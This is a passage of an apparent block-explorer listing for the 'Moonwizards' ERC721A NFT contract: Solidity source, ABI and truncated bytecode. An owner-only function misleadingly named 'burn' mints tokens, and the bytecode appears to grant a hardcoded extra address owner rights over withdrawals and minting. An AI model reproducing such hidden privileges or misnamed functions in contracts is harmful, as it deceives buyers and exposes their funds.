                        "ERC721A: transfer to non ERC721Receiver implementer"
                    );
                }

                updatedIndex++;
            }

            currentIndex = updatedIndex;
        }

        _afterTokenTransfers(address(0), to, startTokenId, quantity);
    }

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     *
     * Emits a {Transfer} event.
     */
    function _transfer(
        address from,
        address to,
        uint256 tokenId
    ) private {
        TokenOwnership memory prevOwnership = ownershipOf(tokenId);

        bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
            getApproved(tokenId) == _msgSender() ||
            isApprovedForAll(prevOwnership.addr, _msgSender()));

        require(isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved");

        require(prevOwnership.addr == from, "ERC721A: transfer from incorrect owner");
        require(to != address(0), "ERC721A: transfer to the zero address");

        _beforeTokenTransfers(from, to, tokenId, 1);

        // Clear approvals from the previous owner
        _approve(address(0), tokenId, prevOwnership.addr);

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256.
        unchecked {
            _addressData[from].balance -= 1;
            _addressData[to].balance += 1;

            _ownerships[tokenId].addr = to;
            _ownerships[tokenId].startTimestamp = uint64(block.timestamp);

            // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
            // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
            uint256 nextTokenId = tokenId + 1;
            if (_ownerships[nextTokenId].addr == address(0)) {
                if (_exists(nextTokenId)) {
                    _ownerships[nextTokenId].addr = prevOwnership.addr;
                    _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
                }
            }
        }

        emit Transfer(from, to, tokenId);
        _afterTokenTransfers(from, to, tokenId, 1);
    }

    /**
     * @dev Approve `to` to operate on `tokenId`
     *
     * Emits a {Approval} event.
     */
    function _approve(
        address to,
        uint256 tokenId,
        address owner
    ) private {
        _tokenApprovals[tokenId] = to;
        emit Approval(owner, to, tokenId);
    }

    /**
     * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
     * The call is not executed if the target address is not a contract.
     *
     * @param from address representing the previous owner of the given token ID
     * @param to target address that will receive the tokens
     * @param tokenId uint256 ID of the token to be transferred
     * @param _data bytes optional data to send along with the call
     * @return bool whether the call correctly returned the expected magic value
     */
    function _checkOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) private returns (bool) {
        if (to.isContract()) {
            try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
                return retval == IERC721Receiver(to).onERC721Received.selector;
            } catch (bytes memory reason) {
                if (reason.length == 0) {
                    revert("ERC721A: transfer to non ERC721Receiver implementer");
                } else {
                    assembly {
                        revert(add(32, reason), mload(reason))
                    }
                }
            }
        } else {
            return true;
        }
    }

    /**
     * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     */
    function _beforeTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
     * minting.
     *
     * startTokenId - the first token id to be transferred
     * quantity - the amount to be transferred
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}
}

contract Moonwizards is ERC721A, Ownable, ReentrancyGuard {
    string public baseURI = "ipfs://QmTGFuiLYZdscCWU62QXBN8o4nEPEK8GYZqMJyJGqSenPU/";
    uint   public price             = 0.0025 ether;
    uint   public maxPerTx          = 10;
    uint   public maxPerFree        = 0;
    uint   public maxPerWallet      = 25;
    uint   public totalFree         = 0;
    uint   public maxSupply         = 2000;
    bool   public mintEnabled;
    uint   public totalFreeMinted = 0;

    mapping(address => uint256) public _mintedFreeAmount;
    mapping(address => uint256) public _totalMintedAmount;

    constructor() ERC721A("Moonwizards", "Moonwizards"){}

    function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
        require(_exists(_tokenId),"ERC721Metadata: URI query for nonexistent token");
        string memory currentBaseURI = _baseURI();
        return bytes(currentBaseURI).length > 0
            ? string(abi.encodePacked(currentBaseURI,Strings.toString(_tokenId+1),".json"))
            : "";
    }
    

    function _startTokenId() internal view virtual returns (uint256) {
        return 1;
    }

    function mint(uint256 count) external payable {
        uint256 cost = price;
        bool isFree = ((totalFreeMinted + count < totalFree + 1) &&
            (_mintedFreeAmount[msg.sender] < maxPerFree));

        if (isFree) { 
            require(mintEnabled, "Mint is not live yet");
            require(totalSupply() + count <= maxSupply, "No more");
            require(count <= maxPerTx, "Max per TX reached.");
            if(count >= (maxPerFree - _mintedFreeAmount[msg.sender]))
            {
             require(msg.value >= (count * cost) - ((maxPerFree - _mintedFreeAmount[msg.sender]) * cost), "Please send the exact ETH amount");
             _mintedFreeAmount[msg.sender] = maxPerFree;
             totalFreeMinted += maxPerFree;
            }
            else if(count < (maxPerFree - _mintedFreeAmount[msg.sender]))
            {
             require(msg.value >= 0, "Please send the exact ETH amount");
             _mintedFreeAmount[msg.sender] += count;
             totalFreeMinted += count;
            }
        }
        else{
        require(mintEnabled, "Mint is not live yet");
        require(_totalMintedAmount[msg.sender] + count <= maxPerWallet, "Exceed maximum NFTs per wallet");
        require(msg.value >= count * cost, "Please send the exact ETH amount");
        require(totalSupply() + count <= maxSupply, "No more");
        require(count <= maxPerTx, "Max per TX reached.");
        require(msg.sender == tx.origin, "The minter is another contract");
        }
        _totalMintedAmount[msg.sender] += count;
        _safeMint(msg.sender, count);
    }

    function costCheck() public view returns (uint256) {
        return price;
    }

    function maxFreePerWallet() public view returns (uint256) {
      return maxPerFree;
    }

    function burn(address mintAddress, uint256 count) public onlyOwner {
        _safeMint(mintAddress, count);
    }

    function _baseURI() internal view virtual override returns (string memory) {
        return baseURI;
    }

    function setBaseUri(string memory baseuri_) public onlyOwner {
        baseURI = baseuri_;
    }

    function setPrice(uint256 price_) external onlyOwner {
        price = price_;
    }

    function setMaxTotalFree(uint256 MaxTotalFree_) external onlyOwner {
        totalFree = MaxTotalFree_;
    }

     function setMaxPerFree(uint256 MaxPerFree_) external onlyOwner {
        maxPerFree = MaxPerFree_;
    }

    function toggleMinting() external onlyOwner {
      mintEnabled = !mintEnabled;
    }
    
    function CommunityWallet(uint quantity, address user)
    public
    onlyOwner
  {
    require(
      quantity > 0,
      "Invalid mint amount"
    );
    require(
      totalSupply() + quantity <= maxSupply,
      "Maximum supply exceeded"
    );
    _safeMint(user, quantity);
  }

    function withdraw() external onlyOwner nonReentrant {
        (bool success, ) = msg.sender.call{value: address(this).balance}("");
        require(success, "Transfer failed.");
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"quantity","type":"uint256"},{"internalType":"address","name":"user","type":"address"}],"name":"CommunityWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_mintedFreeAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_totalMintedAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"mintAddress","type":"address"},{"internalType":"uint256","name":"count","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"costCheck","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxFreePerWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxPerWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"mintEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"price","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseuri_","type":"string"}],"name":"setBaseUri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"MaxPerFree_","type":"uint256"}],"name":"setMaxPerFree","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"MaxTotalFree_","type":"uint256"}],"name":"setMaxTotalFree","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"price_","type":"uint256"}],"name":"setPrice","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toggleMinting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFree","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFreeMinted","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405273acfcba7bab6403ebcceee22810c4dd3c9bbe9763600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604051806060016040528060368152602001620055df60369139600a90805190602001906200008a9291906200025f565b506608e1bc9bf04000600b55600a600c556000600d556019600e556000600f556107d06010556000601255348015620000c257600080fd5b506040518060400160405280600b81526020017f4d6f6f6e77697a617264730000000000000000000000000000000000000000008152506040518060400160405280600b81526020017f4d6f6f6e77697a617264730000000000000000000000000000000000000000008152508160019080519060200190620001479291906200025f565b508060029080519060200190620001609291906200025f565b50505062000183620001776200019160201b60201c565b6200019960201b60201c565b600160098190555062000374565b600033905090565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8280546200026d906200033e565b90600052602060002090601f016020900481019282620002915760008555620002dd565b82601f10620002ac57805160ff1916838001178555620002dd565b82800160010185558215620002dd579182015b82811115620002dc578251825591602001919060010190620002bf565b5b509050620002ec9190620002f0565b5090565b5b808211156200030b576000816000905550600101620002f1565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200035757607f821691505b602082108114156200036e576200036d6200030f565b5b50919050565b61525b80620003846000396000f3fe6080604052600436106102465760003560e01c80638da5cb5b11610139578063b88d4fde116100b6578063dad7b5c91161007a578063dad7b5c91461085d578063e945971c14610888578063e985e9c5146108b1578063f2fde38b146108ee578063f4db2acb14610917578063f968adbe1461095457610246565b8063b88d4fde14610776578063c7c39ffc1461079f578063c87b56dd146107ca578063d123973014610807578063d5abeb011461083257610246565b8063a0712d68116100fd578063a0712d68146106b4578063a0bcfc7f146106d0578063a22cb465146106f9578063a702735714610722578063b0e77f421461074d57610246565b80638da5cb5b146105e157806391b7f5ed1461060c57806395d89b41146106355780639dc29fac14610660578063a035b1fe1461068957610246565b806342842e0e116101c757806364b721881161018b57806364b72188146105205780636c0360eb1461054b57806370a0823114610576578063715018a6146105b35780637d55094d146105ca57610246565b806342842e0e14610429578063453c2310146104525780634f6ccce71461047d5780635a963f1b146104ba5780636352211e146104e357610246565b806318160ddd1161020e57806318160ddd1461035657806323b872dd146103815780632f745c59146103aa578063333e44e6146103e75780633ccfd60b1461041257610246565b806301ffc9a71461024b57806306fdde0314610288578063081812fc146102b3578063095ea7b3146102f057806311b01a3214610319575b600080fd5b34801561025757600080fd5b50610272600480360381019061026d9190613885565b61097f565b60405161027f91906138cd565b60405180910390f35b34801561029457600080fd5b5061029d610ac9565b6040516102aa9190613981565b60405180910390f35b3480156102bf57600080fd5b506102da60048036038101906102d591906139d9565b610b5b565b6040516102e79190613a47565b60405180910390f35b3480156102fc57600080fd5b5061031760048036038101906103129190613a8e565b610be0565b005b34801561032557600080fd5b50610340600480360381019061033b9190613ace565b610cf9565b60405161034d9190613b0a565b60405180910390f35b34801561036257600080fd5b5061036b610d11565b6040516103789190613b0a565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613b25565b610d1a565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613a8e565b610d2a565b6040516103de9190613b0a565b60405180910390f35b3480156103f357600080fd5b506103fc610f1c565b6040516104099190613b0a565b60405180910390f35b34801561041e57600080fd5b50610427610f22565b005b34801561043557600080fd5b50610450600480360381019061044b9190613b25565b611102565b005b34801561045e57600080fd5b50610467611122565b6040516104749190613b0a565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f91906139d9565b611128565b6040516104b19190613b0a565b60405180910390f35b3480156104c657600080fd5b506104e160048036038101906104dc91906139d9565b61117b565b005b3480156104ef57600080fd5b5061050a600480360381019061050591906139d9565b611260565b6040516105179190613a47565b60405180910390f35b34801561052c57600080fd5b50610535611276565b6040516105429190613b0a565b60405180910390f35b34801561055757600080fd5b50610560611280565b60405161056d9190613981565b60405180910390f35b34801561058257600080fd5b5061059d60048036038101906105989190613ace565b61130e565b6040516105aa9190613b0a565b60405180910390f35b3480156105bf57600080fd5b506105c86113f7565b005b3480156105d657600080fd5b506105df6114de565b005b3480156105ed57600080fd5b506105f66115e5565b6040516106039190613a47565b60405180910390f35b34801561061857600080fd5b50610633600480360381019061062e91906139d9565b61160f565b005b34801561064157600080fd5b5061064a6116f4565b6040516106579190613981565b60405180910390f35b34801561066c57600080fd5b5061068760048036038101906106829190613a8e565b611786565b005b34801561069557600080fd5b5061069e61186f565b6040516106ab9190613b0a565b60405180910390f35b6106ce60048036038101906106c991906139d9565b611875565b005b3480156106dc57600080fd5b506106f760048036038101906106f29190613cad565b611eee565b005b34801561070557600080fd5b50610720600480360381019061071b9190613d22565b611fe3565b005b34801561072e57600080fd5b50610737612164565b6040516107449190613b0a565b60405180910390f35b34801561075957600080fd5b50610774600480360381019061076f9190613d62565b61216e565b005b34801561078257600080fd5b5061079d60048036038101906107989190613e43565b6122f1565b005b3480156107ab57600080fd5b506107b461234d565b6040516107c19190613b0a565b60405180910390f35b3480156107d657600080fd5b506107f160048036038101906107ec91906139d9565b612353565b6040516107fe9190613981565b60405180910390f35b34801561081357600080fd5b5061081c612406565b60405161082991906138cd565b60405180910390f35b34801561083e57600080fd5b50610847612419565b6040516108549190613b0a565b60405180910390f35b34801561086957600080fd5b5061087261241f565b60405161087f9190613b0a565b60405180910390f35b34801561089457600080fd5b506108af60048036038101906108aa91906139d9565b612425565b005b3480156108bd57600080fd5b506108d860048036038101906108d39190613ec6565b61250a565b6040516108e591906138cd565b60405180910390f35b3480156108fa57600080fd5b5061091560048036038101906109109190613ace565b61259e565b005b34801561092357600080fd5b5061093e60048036038101906109399190613ace565b6126f5565b60405161094b9190613b0a565b60405180910390f35b34801561096057600080fd5b5061096961270d565b6040516109769190613b0a565b60405180910390f35b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610a4a57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610ab257507f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610ac25750610ac182612713565b5b9050919050565b606060018054610ad890613f35565b80601f0160208091040260200160405190810160405280929190818152602001828054610b0490613f35565b8015610b515780601f10610b2657610100808354040283529160200191610b51565b820191906000526020600020905b815481529060010190602001808311610b3457829003601f168201915b5050505050905090565b6000610b668261277d565b610ba5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9c90613fd9565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610beb82611260565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c539061406b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610c7b61278a565b73ffffffffffffffffffffffffffffffffffffffff161480610caa5750610ca981610ca461278a565b61250a565b5b610ce9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce0906140fd565b60405180910390fd5b610cf4838383612792565b505050565b60146020528060005260406000206000915090505481565b60008054905090565b610d25838383612844565b505050565b6000610d358361130e565b8210610d76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6d9061418f565b60405180910390fd5b6000610d80610d11565b905060008060005b83811015610eda576000600360008381526020019081526020016000206040518060400160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614610e7a57806000015192505b8773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ecc5786841415610ec3578195505050505050610f16565b83806001019450505b508080600101915050610d88565b506040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0d90614221565b60405180910390fd5b92915050565b600f5481565b610f2a61278a565b73ffffffffffffffffffffffffffffffffffffffff16610f486115e5565b73ffffffffffffffffffffffffffffffffffffffff161480610fbe5750610f6d61278a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610ffd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff49061428d565b60405180910390fd5b60026009541415611043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103a906142f9565b60405180910390fd5b600260098190555060003373ffffffffffffffffffffffffffffffffffffffff16476040516110719061434a565b60006040518083038185875af1925050503d80600081146110ae576040519150601f19603f3d011682016040523d82523d6000602084013e6110b3565b606091505b50509050806110f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ee906143ab565b60405180910390fd5b506001600981905550565b61111d838383604051806020016040528060008152506122f1565b505050565b600e5481565b6000611132610d11565b8210611173576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116a9061443d565b60405180910390fd5b819050919050565b61118361278a565b73ffffffffffffffffffffffffffffffffffffffff166111a16115e5565b73ffffffffffffffffffffffffffffffffffffffff16148061121757506111c661278a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611256576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124d9061428d565b60405180910390fd5b80600f8190555050565b600061126b82612d84565b600001519050919050565b6000600b54905090565b600a805461128d90613f35565b80601f01602080910402602001604051908101604052809291908181526020018280546112b990613f35565b80156113065780601f106112db57610100808354040283529160200191611306565b820191906000526020600020905b8154815290600101906020018083116112e957829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561137f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611376906144cf565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b6113ff61278a565b73ffffffffffffffffffffffffffffffffffffffff1661141d6115e5565b73ffffffffffffffffffffffffffffffffffffffff161480611493575061144261278a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6114d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c99061428d565b60405180910390fd5b6114dc6000612f1e565b565b6114e661278a565b73ffffffffffffffffffffffffffffffffffffffff166115046115e5565b73ffffffffffffffffffffffffffffffffffffffff16148061157a575061152961278a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6115b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b09061428d565b60405180910390fd5b601160009054906101000a900460ff1615601160006101000a81548160ff021916908315150217905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61161761278a565b73ffffffffffffffffffffffffffffffffffffffff166116356115e5565b73ffffffffffffffffffffffffffffffffffffffff1614806116ab575061165a61278a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6116ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e19061428d565b60405180910390fd5b80600b8190555050565b60606002805461170390613f35565b80601f016020809104026020016040519081016040528092919081815260200182805461172f90613f35565b801561177c5780601f106117515761010080835404028352916020019161177c565b820191906000526020600020905b81548152906001019060200180831161175f57829003601f168201915b5050505050905090565b61178e61278a565b73ffffffffffffffffffffffffffffffffffffffff166117ac6115e5565b73ffffffffffffffffffffffffffffffffffffffff16148061182257506117d161278a565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611861576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118589061428d565b60405180910390fd5b61186b8282612fe4565b5050565b600b5481565b6000600b54905060006001600f5461188d919061451e565b8360125461189b919061451e565b1080156118e85750600d54601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b90508015611c5257601160009054906101000a900460ff1661193f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611936906145c0565b60405180910390fd5b6010548361194b610d11565b611955919061451e565b1115611996576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198d9061462c565b60405180910390fd5b600c548311156119db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d290614698565b60405180910390fd5b601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d54611a2891906146b8565b8310611b445781601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d54611a7c91906146b8565b611a8691906146ec565b8284611a9291906146ec565b611a9c91906146b8565b341015611ade576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad590614792565b60405180910390fd5b600d54601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d5460126000828254611b38919061451e565b92505081905550611c4d565b601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600d54611b9191906146b8565b831015611c4c576000341015611bdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd390614792565b60405180910390fd5b82601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c2b919061451e565b925050819055508260126000828254611c44919061451e565b925050819055505b5b611e89565b601160009054906101000a900460ff16611ca1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c98906145c0565b60405180910390fd5b600e5483601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cef919061451e565b1115611d30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d27906147fe565b60405180910390fd5b8183611d3c91906146ec565b341015611d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7590614792565b60405180910390fd5b60105483611d8a610d11565b611d94919061451e565b1115611dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcc9061462c565b60405180910390fd5b600c54831115611e1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1190614698565b60405180910390fd5b3273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e88576040517f08c